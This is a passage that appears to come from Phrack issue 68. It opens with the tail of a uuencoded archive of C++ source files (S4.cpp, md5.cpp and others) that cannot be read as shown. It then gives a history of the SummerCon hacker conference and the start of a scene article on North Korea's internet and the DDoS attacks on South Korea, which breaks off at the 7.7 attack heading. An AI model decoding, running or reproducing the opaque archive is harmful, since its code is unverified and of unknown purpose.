MAL]&3.<+;[+X]1LFTYP6RI‑BG1@Y)7S=F:8^6ROVVB$F2+EL5‑Z^>E&[VA7` M)<?>_(;>,J`W/3A5;5E.%XXK=;V'H\1Z7[TQ2@KI)_=QOP=4]O5[$‑W;N3?\ M`JME%LR;?+$%!]4%QO"K2&;`^GVP.*.@?K?P:30YO6B^?'D]G98'WOQENU7[ MN4##‑)J4`83*E",*5$4*6ISE.V!XO+3T9+Y)O525[]Z0KBU\>IT`D02M$L9, M;S1P!*^#SV<LO"_(#@`#TY&CS8.=AT"1@1V7'>5ZXR"8`;VOI^/Q=*DN!E'2 MZISD:$+ZK[\9".,UYM%>NR=%U6R_W2H)^3.GXH!?>:*6X1^J%?,V2D]H&](5 MRA;^"70S[M7V,4G`:;`\81(8"8N<P_‑.[\/QA>')$CD\>Q/DU>%M,/PBG2H0 M*PQ(>B91HI_CZ.B(GNUJ9‑2IE3&B>^;‑%2V0ET#N&:YOS'SF`5Y^(B[OAY,E M:R;]D'9F79\,#&S55PW@\!#_<EFY*GYKS6/‑<QL]^._G`G]6<T$_`S4B@5H' M.0\$&\$*AQ‑%Z^P$Q45K&GWC11L1I5%&‑Z3Y*/C*7*‑G<#@&<O(BA3F!K]%"

MH$TP‑G;G"#.)RJ:$ED.!3EM;L‑XE*ZA.80I['UJM3J?=:;MX1ZM‑‑.SARA=W MA$S6:L'*BF=N<9'V^F?_V)6Q#0G^PM+'<`_6P)`3(KDFJU`C`B&QW'YG+`<W M#8Y;`$1\*$`"S*JE09X'X\`+`S>Z/0$B0*_/&'/C@A)(<'1‑6S)Z[`"'>B&_ M4!‑)"GYH!V5U)"Y*L`$\QT<4IM#*+_,=8V3<@6VA)`J7SYY=Z?EM‑LUQ%NG) M'I71GJ><+P]OYT5Y*N.OO*#B,72.X8'V%)F7_DR8F`PL8NRD.B\K2T6LJR?MJJ_*F(,QXFY\6B>8CQ^1S6%7X17/_&[6(ZJC<$K[49'WPH?0NPFDP(.‑IB)W MZA3BGR>?%QNA`)6JVV[U,6^2V!Z(??VS+V3VJ<OMKIZM*VB%5[`$>#<++/Y[ M=JZ&G]ES.^HD"3:IR&3$*">>*Z)],EQX](C5G;%5LD9#W#4)QF6ENN/6@W,% M6P^&?J,2$`K_GKS!AMZ,'_\9P;=)<#,=CEBID[D$XEDR.JK76.*4F"NEF<6$ MW"+UO@,T/_AG^S3U469L27VG#W1V‑>ZAHVA+/*N68E8M(].*Q><PIVHRQ$C;

M\63':*'0[AGKI,=)AI/L9K3K/,Q@*04^C$Q6,:D]P=2,]R&M4<=1NJ<&2@]# MW2^BZ;+?:<A‑<C.%HXJ65#>&,8U8.6BFF[TQ#Z4&_%2<EH)OQ<JP@?80%NSM M.N"GF9U_PBWJNP6%`,J(\]GP8O[8>1@&LP5_(2D6$3`;H,&8BN]$>M#)T2GA M]*3[Y\[=:M'HWRY%`9=YUNAB`IU!XNRB;\1&^<T#20_=F<PRX[(R[P0/HX5; M4^X/"JV)K\C"[+.WD._I8$Z%$D9F4Z2.SM"`K_F4<)^ZI3D!W7V`&]0D*#./ MP1:HR`K[X&GG_+S?NZ?G/(KYF\?:PS;8/AJT_&B,M%Z,]ID<!D/[76(ZF_)2 MR[BPR6#S&)0$"]B@I‑9`8K'D+P0^BR#94W%2.$<H\&!I).,LDRM"*6N1Z$+C MJI'!0\]37N0AZ&3)CBI1%`[)7G3B1J%OD1&Z)$4059*(XY'J@DP6D$1^[YN1 MS]!?.CW8(ZF!<7`>![B'FHI,BK]0CP&M<3JYV?X"<R)A)'2FD_9.OW7QF[CS M=X:<OXJ`Q;.Q_A',IT%X*0V1\3(`(%‑#L[:9/T19R@#‑LP]_B54"R&8‑^#72 M:4_@MR/RT8P0YU(LX8`)LZPD5)>6_K*:K‑A.UFAH7UK<\&`T\<8\R‑0@#D_V M6GTHXN*(`"56(,BISLJ,>9X[+`Y4(XLD,.=,V>7T\LR7`A_"A`1`+8UO*2QJ M3=,(PK!LCK9XC,W,:`Q;I$8R‑&.%J+5AF**.K9\W21D697CXRYJ%$;B!2YY% MJ0W#[)155O&ZOKJ1AJ>,#:;>$?^F].&X'<WR‑D^R84G]FA'0I,HLZJXLBJ<@ MC(PBWZ'JI.FP0M.1WB^Y6DY]E99S8>HT^OPCSSP@+?3[KJDSC[‑2QU&75++* M[EK2(DUV^[KX5@W"R5(AC*/%7Y$1MHV;2PS`WRP=8DBEU:<8Z)1`X$L6>O:7

MK%'B;A32C2I]0?ZR4)G>F89*W!Z?O%77J<@)EIQSP)E+NJI!FPNQ39G;TK%< MWMO+:YS9‑.13.6C1>2)$,`1_Y&/H%K&BRJ<!\&YNR^)?P4*_?ST)``J"QS"N MH3?'1Z3+FC'/%V.<9/A\$MQ‑YX]6IDE2$MGXS0K]W.01M3B‑K<>`F%"4&J:B M)‑>&N6:2CL2MXR,X_O9;>UU^@O>HTW,J#Z\KU>M!5.G@>.]]_[S5<*"HPO\T M$J51[CE9IT&!B+$ZH/$QA`:!4+?G>`V;2MI&6=OD‑5+>21RO(‑*/FWV8C‑!*

MP7>+9DI5';AVTF[T#_=ZATK'2UQMJ,\95P4VF9Z>^EUMK(H+<TQ[D29[LKN\ M=*^VL‑?==1VFD\$E1@I8=0,I;6Y1\E>)G'DC=+E3K:%U*?%9;IA<:BG'318+ MMZ!PJYZLH&Y3+ZOUK9J:@9CQ1&)?$K‑NNQ7]LF_^8MQ;JY$.T`.]/0J'4YBA M$[1@_0+K"@X,L@^=I!!^7M[">A.NB[X^,J<@LR;R)*S06[\Y:PZ:W6:[4*35 MW#D[B&(D8`\=WKIF4K4AT%8\OWW>Y%T<A$\7USR(RO&,'TB'E<ME?)%*R=<J MRA55+6/E862XT3!DWX",QC=R7B=B2<=733F9US$#SLP"!X@L@3"Y\R$,+!#V M‑83]‑2!T+1`B6_S‑=.J+D1]XRJ77F.E\N&T#KF(#?"4^D.X?<<Y8S.GAJ@0D MD&7>_7C1S)DJDL'58JKM4R24T>/:Z$TS3K?=DXG[^_C>]_G9\;%R4JR)&68@ M‑AWL>>7B5\ICC,_=D9U7/=I<I[UV.L?G?M_@6_/>`'J,6@[/[A?L^3OBDQEG M4;YM*SG$9D+F'(.7[=N59#"=(Y3NR>5[J*13;K>?Z7W*2CE%..U68^;9P]@, M2;)'FC0%B\83[H\FOBN7OK*P;L)(E‑<@&4JX0*:G'0=S)!WK_U"3M6[3).AH MTO*OFT@PPRH'.U1QDV8E.KP;%GRL'5GP_TPYL<‑*&&I40,M&BFW@?Z1N2U=' M>1:@7BY'5^7V)#R<AIQ‑723*KH_"KC\4O\*$P$*]*@A0Z0I1/)2D%!K<K(2( M1DN<41+&T‑KAAPF16‑$T+I$BMHX9DTE>T`]H7,W7=NJ:<T"3G`>:=R*>L;", ML=1,%$P+‑B=K‑&0$FZB*H'*@+=.%+4JNU7RGHUG,)JENH;9$"W.'J1M!=G0) M];E%'IG5‑79TX<‑?S!C,^%$S5546I%OP@359';\FZBK\$Y5CP^(A\5Z[_4ZY M*#0O55KB_+‑.UYO3@5Y/9/IDDS+]*](8]GQ)F\B<+W6‑I‑U_9;WCPD9/6?H5 MM;‑QT*1/=:%HG^Q)J3EVQ‑9NA6C^G,`S&\WH@B(&E28\V17I67;LUJA_7/@, M_VSTRA$5NVJJU*:00]*(W^*=:X:+]:Z5/@NZZ[8PYSON0;#R'(QJ"8K?GKB4 M3A(8K'9%DEBQ:&(AXD[;>6B"&&_@_S\G(`*IGH<"*<J`#5"\."W/STN(GS^W M6_6R](Y*(_H\3+L[(>(;OL8WHOUR&,(Y)$;%U#%^2[FN*#&FL]FOM>R‑QM?) M?/AI"9"7R=[‑?#<%W<>Z\^EPS_?G<$!3EW;'4\\_'@WF'AR["Y‑@X<U&]5K9 M'X\+17W!5CCJ6\$6Y#K+S8[O9K^#\H‑0BL$U<+*DWG<M;XM\‑Q8F0.B>M`3& MP);+W[6]QO'=.,0@$A+&16M60CJ1CF#@9S;606>O_7&O>Y1&)P50ZYA9KPZX MUB<X?B0.K[‑PT*\8N‑8G.GX@#K6=*.K`@D<6+6H_FA8U20MG5<(W1";WR8]U MD#I=`#9)C#*A%@P‑:@\4V&4@Z*@*YRZ\G?R5E4))05!3Q;‑L48A.QJ@WY\@F MHTI25!A%J36LRJQ+*JOP=4XA,V%68:QE_HRM.!\<Z`O0,<R1]CNEX^689FP4 MA/%[4'TPX$DYG2[%F‑+:AO)28<+O;M@]B:4.KXSW:=]>]NK5I\W8%AO'(?)1 MWQ*?L%L>R‑*380/>1‑R3J153<;+BT‑L[87<Q@6V@(FZO]0KB#AH]7@?/*24T

MG4,Q:F2([D>PR]+V2R[G,`(IS‑F%N5[9JE8JE34THIC=@C4.M,U:#&^9EZPR M)`CO)+8L.LAN;MO8.U%_#82,_/_%G);=V*%,W?Z:‑GPKX[N;F=V4]!UR<7<= MOQ>=R<5B;(GPB=NGM0LWYR9>S,D`K:QDZ+Z.V<^E‑X;4'E;?‑(O_Z!M]29;H M2CW;J1`O0=(>A7'CJ?G!\"1,&D7C+H0.>FO(\>M^;!Z#LL1N,35]:G;7L1PJ M=VE8E'?PB5*`D\?P+<@*Z=C)_)_G0@T`EEZ(EB1,@\AK6]Z;E@U'94W@7P1; M,?#E3<"VW^Z<'G7:*R_8]@AMT0XFH\"/;M+,ZT9]S2/'Y#W2WL‑!+R'YRXA@ M@A8N%1\SG‑[=W4]H7Y'MR*SFS6;`?B%?W‑'U(<JIX,%#[YQRU`.=/X@E;\VW MAY051=OWT‑&GIYUTG%RJM,\^G;X_WVMW@#`7G=:%21KEW%TKDT69GW2D<2X] MM!Z)@ASEE^"Q8+@%4;MU+3"IFO\!;4*M%K5PHL'J6\C_#TLH_7Z44OQDD+@Y M82E#O./`P*;H&DZ1$'U_8*1WX+`*Z[1‑1`$X1$^8<#_)‑ZF(]<XI!10QW=8/ MFDCH38YKS3G+FC7+O‑EG+N43DIJ]U/SES6#>'#K.7D(0?M?L2;U51RG(8.X, MH[6=B%D.I79WTH0‑Y<E)RK8>B&CVASV"[92,^!YJQZ,93`^HW$/LVU=R"@‑! MD=<&(`71.0#&>#UZP)C‑P2‑%>Z+E7TOJ^(M&/V2466ZS*=G‑U\K&!#37\$]+ M.%514%"O]TQ?G*‑)(C+OHFTB^NV_Z^9O9*K0ZMV?'*&C[;\Z+8PUG[OV,,W+ M+FQZX<532,>\(S=M&9V‑:VM+<62!B?N"J7F,N8*E7$Q6KN5HU:723//GC!S4

M'`QO/J\JZ\<?594?XPG‑Z)_MJNGV)5=!W.4KGU7M'C7?X=7.3+N30"?R]TKM M[#:/K>_#V+:R+`O+P)'C\U/YY0R")UQ.,])1@#2)^>NS\Q(&5>(M+^A98XH! MOI9Q9*A\4>L;D%5E29=8TO/<96‑?!P:FR:?T,@AJ="CIF%`?=]*9P9[6N/GM M8‑N4/Z9A&'SZ/U!+`0(4``H``````‑%>A4`````````````````'```````` M````$`````````!3‑"YP‑C@O4$L!`A0`%``"``@`9V_'‑I(9)'05&P``L4<` M``X``````````0`@````)0```%,T+G`V."]#3U!924Y'4$L!`A0`%``"``@` M_:*!0$3GD9N>`0``0P,```\``````````0`@````9AL``%,T+G`V."]G;&]B M86PN:%!+`0(4`!0``@`(``JE@4!VK/V$0@,``,\*```3``````````$`(``` M`#$=``!3‑"YP‑C@O:&UA8U]M9#4N8W!P4$L!`A0`%``"``@`<Z2!0%Z7NI:J M#```32D```X``````````0`@````I"```%,T+G`V."]M9#4N8W!P4$L!`A0` M%``"``@`[**!0.+_SLVR`@``S04```P``````````0`@````>BT``%,T+G`V M."]M9#4N:%!+`0(4`!0``@`(`+E>A4!!P_$XX"P``(B@```‑``````````$` K(````%8P``!3‑"YP‑C@O4S0N8W!P4$L%!@`````'``<`H`$``&%=```````` `

end

25 Years of SummerCon

==Phrack Inc.==

Volume 0x0e, Issue 0x44, Phile #0x12 of 0x13

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ 25 Years of SummerCon ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by Shmeck ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

It's hard to believe that 2012 marks the 25th anniversary of SummerCon. In the American hacking landscape, SummerCon remains the seminal conference from which all others are modeled. In those early days, interactions between hackers took place through BBSes, as shout‑outs in assorted textfiles, on telco voice bridges, and in the pages of Phrack and 2600. For the most part, these interactions were all mediated through some kind of communications infrastructure. SummerCon was an opportunity to change that.

In the 1980s, informal gatherings of hackers had begun to spring up all over the place in America. The European scene was well‑organized, with groups like the Chaos Computer Club holding an annual congress of hackers as early as 1984.

There are various theories about why Europe organized more quickly than America. America developed a strong counterculture in the 1960s and 1970s, including an enthusiastic phreaking movement dating back to the early 1970s. Well‑known anarchist and Chicago Seven conspirator Abbie Hoffman, along with Al Bell, a well‑known telephony enthusiast, launched the first phreak magazine, YIPL: Youth International Party Line in 1971. YIPL became TAP, based out of New York. Though Americans were enthusiastic, TAP found an eager European audience, and Dutch and German activists carried the torch and pushed the boundaries of phreaking in the 1970s. Those phreaks were readily absorbed into the ranks of an already strong and well‑established anti‑authoritarian movement in Europe. Large‑scale meetings, complete with technical demonstrations were the logical next step, so the first big hacker conference, Chaos Computer Congress, took place in Hamburg in 1984.

American hackers remained active during that period, but physical meetings remained elusive. Nevertheless, something like a tipping point for the American hacking scene must have occurred in the summer of 1987. On June 5 of that year, the first 2600 meeting was held in New York City. Only two weeks later, in St. Louis, a small cadre of people who mostly knew each other from exchanges on Metal Shop BBS and through Phrack profiles, met at the Executive International Best Western to embark on a totally new way to advance the American hacking agenda. The first SummerCon set the stage for the way subsequent hacker conferences would be held. To this day PumpCon, HoHoCon, DEFCON, and HOPE stick to the same formula.

Its organizers wanted to foster the physical interaction in meatspace, eschewing the phosphorescent glow of their CRTs to hold a party like none other. Mostly, if the reports from early editions of Phrack are to be believed, though, it was to have a good time. SummerCon has always held its primary goal as forging friendships, because that's how real dialogue and information exchange happens. Yes, there were technical talks. That first SummerCon in 1987 included a long list of technical discussions, but because it was a small gathering, the agenda was ad hoc and seemingly freeform.

Most of the technical discussions centered on things that are pretty far outside modern mainstream infosec discourse: BBSes, fiber optics, and methods of blowing 2600 Hertz headlined the proceedings. In fact, the attendees had a hard time getting started, not really knowing each other or how to begin. But because everyone in attendance had some sort of technical background, these purely technical discussions got people talking to each other, which led to drinking, which led to partying, which, ultimately helped the attendees forge long‑lasting relationships with each other. It's how cons have worked ever since.

The success of that first SummerCon naturally implied that another one would be held the following year. Its organizers made a last‑minute decision to hold another one. Like modern incarnations of SummerCon, the organizers dithered over details like location, letting inertia play a significant role. While New York City was one possible contender, it was held in St. Louis again.

SummerCon '88 was a controversial one. The technical discussions came a little more easily, and the attendees seemed a little more comfortable, inviting outsiders into their ranks. But one attendee, Dale Drew, using the handle "The Dictator", was actually an informant working with the Secret Service. He helped government agents videotape the proceedings through a two‑way mirror in his hotel room. This video evidence was eventually used to indict conference organizer Knight Lightning (the nom de hack of Phrack founder Craig Neidorf) on a federal count of criminal conspiracy as a part of his now‑infamous E911 criminal trial. Though the case against Neidorf eventually fell apart, federal interest in SummerCon would remain an ongoing theme for years to come. Other conferences have capitalized on SummerCon mainstays like "Hunt the Fed", now immortalized as DEFCON's "Spot the Fed" contest.

There was a SummerCon in 1990, but a wide federal dragnet for computer crime and Knight Lightning's federal trial tainted it. Perhaps the most chilling reminder of a bad era exists in the announcement for a Christmastime event in Houston called XmasCon, who stated that their event would "replace the painful memories of SummerCon'90 (SCon'90? What do you mean? there was a SummerCon this year? HA. It surprised me too)." Clearly, these were bad times in the hacker community.

In 1991, the freshly acquitted Knight Lightning rebranded SummerCon as "CyberView," because he did not want to trigger any associations with the previous event. Bruce Sterling's comprehensive report (Phrack 33:10, http://www.phrack.org/issues.html?issue=33&id=10#article) included a

rationale for the new, if short‑lived name. "The convention hotel, a seedy but accommodating motor‑inn outside the airport in St Louis, had hosted SummerCons before. Changing the name had been a good idea. If the staff were alert, and actually recognized that these were the same kids back again, things might get hairy." In what can only be described as a SummerCon miracle, a St. Louis swingers' group simultaneously occupied the conference hotel. As with every SummerCon, booze was a factor.

SummerCon 92 saw a dramatic increase in the number of participants, with 73 reportedly in attendance. Summercon 93 was the last year a SummerCon took place in St. Louis. Summercon 95 marked a changing of the guard, with the event taking place in Atlanta, hosted by Erik Bloodaxe and his LoD colleagues. Over 200 hackers came; several were arrested. The following year, SummerCon 96 moved to Washington, DC.

Periodically moving the conference became a ritual to prevent the event from getting too stale and to ensure that a willing hotel could be found, since SummerCon had a reputation of being a rowdy conference. The move to Washington, D.C. offered an easy venue for members of the East Coast hacker community; members of L0pht came in from Boston, hackers from Pittsburgh had a simple commute, and the NYC scene was well represented. The local law enforcement community was in full force as well, with several raids taking place during the event.

During that time period, the organizers of SummerCon were losing enthusiasm for running the event. It is a thankless job, and requires coordinating a tremendous number of people, places, and event staff, all while keeping law enforcement officials at bay. During Summercon 97 in Atlanta, a stalwart of the DC hacking community going by the handle Clovis convinced the current organizers to transfer the domain name to him so that he could take over the organizational aspects of the conference. It was a relief to the current organizers, who were frankly happy to be done with the annual headache.

In 1998, Clovis, leaning heavily on his younger brother for organizational support, threw SummerCon in Atlanta. For the next three years, SummerCon would be held in Atlanta, though SummerCon 2000 was notable because the hotel that was slated to host it conveniently lost contracts for the event the day before it was to take place, leaving Clovis no rooms for technical discussions. The nonplussed attendees set up shop in the Omni CNN Center Hotel bar, where ad hoc presentations took place, much to the consternation of hotel guest who did not expect to get a dose of information security discourse over their cocktails. The hotel that originally objected to hosting a hacker conference, did not mind the steady stream of bar sales one bit.

Clovis had ambitious plans for SummerCon. For 2001, envisioned a global conference, which would draw an audience from around the world. He thought Amsterdam would be a good location, and looked into bulking up the technical backend of the event. For the first time SummerCon would be shown live through a RealStream video server to anyone who wanted to watch.

It was daunting. Everything was expensive. Clovis' younger brother had to figure out a mountain of customs paperwork to ship all the t‑shirts and conference badges overseas. In short, every part of SummerCon 2001 was an enormous headache, but in the end it was a fantastic event.

About 200 attendees descended on Amsterdam to try an American‑style hacker conference. It was very different than the Chaos Computer Club congresses, and nothing at all like the Dutch hacking camp HAL. Many attendees didn't understand why it was held at such an expensive hotel. But the global breadth of attendees and speakers was impressive, and it was generally considered to be a successful conference by all who attended or watched online. The hotel, though pricey, was incredibly easy to work with and provided a safe, enjoyable environment in a tourist‑friendly part of Amsterdam.

But Clovis' brother, weary from filling out customs forms, was not so enamored with the idea of doing SummerCon overseas again, and so SummerCon 2002 took place in Washington, D.C. Unlike the affable and easy‑going Dutch hotel support staff a year prior, the sales director of the Renaissance Washington D.C. had little patience for the SummerCon organizers. Not mincing words, she announced to Clovis and his staff, "I know about you guys. I know about hacker conferences. If anything happens at this hotel, any kind of funny business, I will throw you all out. We have Presidents of the United States here. I will throw you out." This was six hours before the conference was slated to begin. In spite of her concerns, the conference was successful, the hotel bar did brisk business, and nobody got arrested.

SummerCon enjoyed a stand in Pittsburgh for two years where Redpantz became a member of the planning committee and began to emcee. In these years, SummerCon began to select venues based on how agreeable the bar staff was, because, all things being equal, SummerCon is, in the words of the noted hacker X, "also about drinking a lot of beer." There were several alcohol related incidents in Pittsburgh. One of the organizers was cited by the Pittsburgh Police Department for "simulating a sex act," an incident that he has never lived down. It was in this time period that members of the FBI Cyber Division began to actually offer presentations at SummerCon. If you can't beat 'em, join 'em.

Austin was the site of SummerCon 2005. Internal political squabbling amongst the organizers and the lack of a clear promotional plan for SummerCon meant that attendance was very low‑perhaps even lower than the first SummerCon. It was a boozy event and had plenty of quality technical discussions, but only a few people showed up, including some very nice individuals from San Antonio. Luckily, the hotel was also backed with bikers from the annual Republic of Texas motorcycle rally, and everyone was down to party.

Nevertheless, the organizers knew it was time to press the reset button, and a select group was invited to SummerCon 2006 to address the ongoing viability of the event. The organizational core agreed that the next three years should be in Atlanta, with every effort take to rebuild the reputation of SummerCon. That effort to rejuvenate the reputation as the hacker conference with the highest level of technical expertise, coupled with the heaviest intake of alcohol per attendee was well received by the organizational core and future attendees. It was an old formula, and a return to our roots: offer great presentations to get the conversation going, and keep everyone as drunk as possible.

SummerCons in Atlanta were predictably rowdy; in 2007 Billy Hoffman did his best to finish his presentation, and slurred the words, "If I'm not making any sense ya'll just throw a shoe at me or something." Immediately, an attendee threw a shoe that barely missed the staggering speaker, making a loud WHUMP as it struck the projection screen. "Well, okay then..." Billy replied, as he continued his lecture. The SummerCon organizational staff believes that this exchange was the framework for an event that transpired in Iraq in 2008, when an angry man threw his shoes at a surprised President George W. Bush.

When SummerCon moved to New York City in 2010, it had a reputation as a technical smorgasbord and a relentless booze‑fest, which, honestly, is a perfect combination. There are very few things you can do to improve on that formula, but the SummerCon organizers found a way, by inviting a burlesque troupe to participate in event planning and hosting an after party.

Being located in New York City made the event to heavy‑hitters in the security industry, and the technical aspects of the conference expanded in line with the party dynamic. In 2011, the organizers accepted some sponsorship money, which permitted them to invest more heavily in the presentation side of the event, flying in speakers from far‑flung and exotic places like California and Michigan. It also meant that the after party was more outrageous, and was featured as an "Event of the Week" in the local events newsletter "Time Out New York."

There are few things as dependable in the hacking world as SummerCon. Though it has evolved from a small, invite‑only gathering to a large, structured conference, it has never lost sight of the importance of its mission: bringing together the brightest minds in information security for the best party of the year. Raise your glass, and toast another 25 years of Summercon!

International Scenes

==Phrack Inc.==

Volume 0x0e, Issue 0x44, Phile #0x13 of 0x13

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ International scenes ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ By Various ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ <various@nsa.gov> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In this issue we are glad to have an amazing scene phile about Korea. You may find that it is a bit different from the usual scene philes, but the content will reward you. The author gives us information that is hard to come by and insight that illuminates widely believed misconceptions about Korea. We also have the second part of the Greek scene phile that covers interesting stories from that country's past. We know that Greece goes through tough times and we hope it will make people reflect on the situation there.

Trying to define what 'a scene' is, it's not unlike trying to define what 'the Underground' is. Perhaps it is that fleeting moment where you feel a connection with something. A connection that transcends physical limitations and relies only on interest and passion for, well, for anything really.

The definition of the word 'scene' has changed quite a lot. Some years ago the word 'scene' had a geographical connotation. That's clearly no longer the case. Scenes are becoming increasingly, and thankfully, untethered from physical boundaries. That's not really something new, but it has changed the way most scenes are organized and operate.

Given that physical boundaries no longer are the central defining factor of scenes, should Phrack continue to publish scene philes of specific countries? Maybe the next logical step is to focus on scenes that are defined by field, topic or interest. Maybe Phrack's 'International Scenes' section should be changed to simply 'Scenes' and present overviews of less known sub‑scenes or communities built around specific interests.

Gentle reader, what are your thoughts?

The Phrack Staff

‑‑

Some Stories in Korea

1 ‑ Introduction

2 ‑ Internet of North Korea

3 ‑ Cyber capabilities of North Korea

4 ‑ Attacks against South Korea

4.1 ‑ 7.7 DDoS attack

4.2 ‑ 3.4 DDoS attack

5 ‑ Who are attackers?

6 ‑ Some prospects

7 ‑ References

‑‑[ 1 ‑ Introduction

The Korean Peninsula has been divided into two countries for more than sixty years. With the ideological dispute of left and right wings that must have been one of the biggest reasons, the political, economic, geographic, and military factors also played an important role here. It is true that this division system may be affected by the political, economic, and military purpose of the two Koreas, neighboring countries, and their allies.

This situation has caused many tragedies to the people of two Koreas, and has made a various types of tension factors like forcing North Korea to develop nuclear weapons to keep her system in the changing flow of the world. Unlike the past whose main element of conflicts came from ideological one, some large movements trying to maintain their interests dominate the situation of the peninsula.

Over the past decade, the tension between South Korea and North Korea has been alleviated thanks to the Sunshine Policy during the regime of two progressive governments. However, after the present ruling party representing conservative value took over the regime again, the tension relationship began once again and there were some physical conflicts. It will be almost impossible to get over this situation only with the intention and endeavor of two Koreas, because there are so many stakeholders.

This article will mainly focus on the internet and cyber capabilities of North Korea which seem to be not widely known to people, and some attacks against South Korea. So, this will make some differences from the traditional Phrack scenes. But I think the differences don't come from contents but form.

‑‑[ 2 ‑ Internet of North Korea

It is said that the internet of North Korea was introduced in the early 1990s. Mainly because of internal political reasons, the internet has been maintained in the form of intranet.

In January 1997, North Korea opened the first web site of hers, kcna.co.jp in Japan and opened dprkorea.com which was for business in February 1999. And then NK opened the web site, silibank.com for international e‑mail relay. Interestingly, whois lookup will show you that the e‑mail account of Technical Contact of this domain is gmail. It is known to gain access to this e‑mail relay system is blocked in South Korea. The service is available only to foreigners who joined the paid membership, and people and companies of NK registered in the system.[1] The e‑mail exchange with foreigners are allowed but it is said NK authorities check the contents, so the privacy of information will not be guaranteed.

The internet access from inside of NK to outside is very limited, but the intranet connection built inside of NK is active. In October 2002, the building of intranet network which allows connection from all areas of NK was completed. It is called `Kwangmyoung' and started as a research system of scientific knowledge materials. It is known that the access to outside using this intranet system is impossible.

However, DPS(Department of Postal Service, `Chesinseong' in Korean) of NK hires and manages internet access lines in Beijing of China for their use. It is possible to connect to outside through this internet line. But it is not freely available to all NK people. There are some people who guess there are special lines dedicated only to Communist Party and its army in addition to this line. But any proven materials or information through the technical identification has not been publicly offered yet.

NK has been expanding her commercial web sites for the sake of economic interests and system propaganda, and most of them use servers located in foreign countries. It seems that the web sites opened in the early 2000s have been changed and even disappeared. This may be because NK got a permission for her to use her national domain `kp' from ICANN(Internet Corporation for Assigned Names and Numbers) on September 11, 2007. NK has been opening additional web sites by using kp and will add more. KCC(Korea Computer Center) was chosen as a NK internet address management authority. It seems that NK will open her internet system to the world when she establishes security system and policy by herself, and can control the internet use of people.

The access to the NK web sites for system propaganda like naenara.com.kp and star.edu.kp is not permitted in South Korea but it is possible for us to gain access by using Tor and proxy servers. Some of web sites operated directly in NK were known in the past, but they were accessible through not domain address system but IP address. However, it is not sure they are operated now or they are accessible only from specific regions.

NK also makes use of SNS services like twitter(@uriminzok) mainly for propagating her system, giving news about NK, and criticizing South Korea.

‑‑[ 3 ‑ Cyber Capabilities of North Korea

It was the magazine "Shindonga"(November 2005) and `2005 Defense Information Security Conference' that introduced cyber capabilities of NK. A related news article about the conference contains the following part, "The capability of NK hackers is similar to CIA's."[2] But the main parts of this article were introduced without objective data, so they were not supposed to be reliable facts.

NK Intellectual Solidarity which consists of NK defectors having a right‑wing inclination insists that the scale of NK cyber hacker troop has been on the increase to the level of 3,000 people.[3] But this is not confirmed by objective data, so the confidence level is very low.

DigitalTimes cited American experts, "NK cultivates more than 100 hackers centering around Pyongyang Automation University(Mirim University in the past) every year, and they have capabilities to hack Pacific Command and U.S. mainland computer systems."[4] We can easily think that the world is connected with internet, so the physical distance between U.S. and NK is not an obstacle at all. If the computer systems of U.S. are not so secure, even novice hackers can compromise them.

In the web site of Nosotek which is "the first western IT venture in NK", we can find the following expression, "software engineers are selected from the mathematics elite and learn programming from the ground‑up, such as assembler to C#, but also Linux kernel and Visual Basic macros".[5] From this, we can see indirectly there are outstanding programmers who have talents to be hackers.

In the case of Kim Il‑Sung University, students have to take the courses of high mathematics and programming regardless of their majors. The university developed the following software: Intelligent Locker(Hard Disc protection program), Worluf Anti‑virus(anti‑virus program), SIMNA(simulation and system analysis program), FC 2.0(C++ program development tool). From this, we can know that NK also conducts hacking and security research.[6]

It seems quite natural that we can easily judge there are hacker troops in NK in this kind of network age. NK may cultivate hackers for her defense. But we don't have to overstate or underestimate the capabilities of NK. We should be objective more thoroughly when data is not enough for correct judgment. Rational and reasonable policy making and practice come from objective data and judgement based on it.

NK should also remember that her web sites, servers, and network can be compromised, propagate malicious codes, and be used as intermediates. The more NK opens, the more she will be attacked. The attackers will be an organization or a country for the sake of its political and military purposes, hacker group for hacktivism, and script kiddies for fun.

‑‑[ 4 ‑ Attacks against South Korea

There were two big attacks against South Korea. One is 7.7 DDoS attack(at first, this attack started against U.S. on July 4, 2009, but led to the attack against South Korea on July 7, so we call this `7.7 DDoS' attack in Korea.). The other is 3.4 DDoS attack on March 4, 2011.

‑‑[ 4.1 ‑ 7.7 DDoS attack

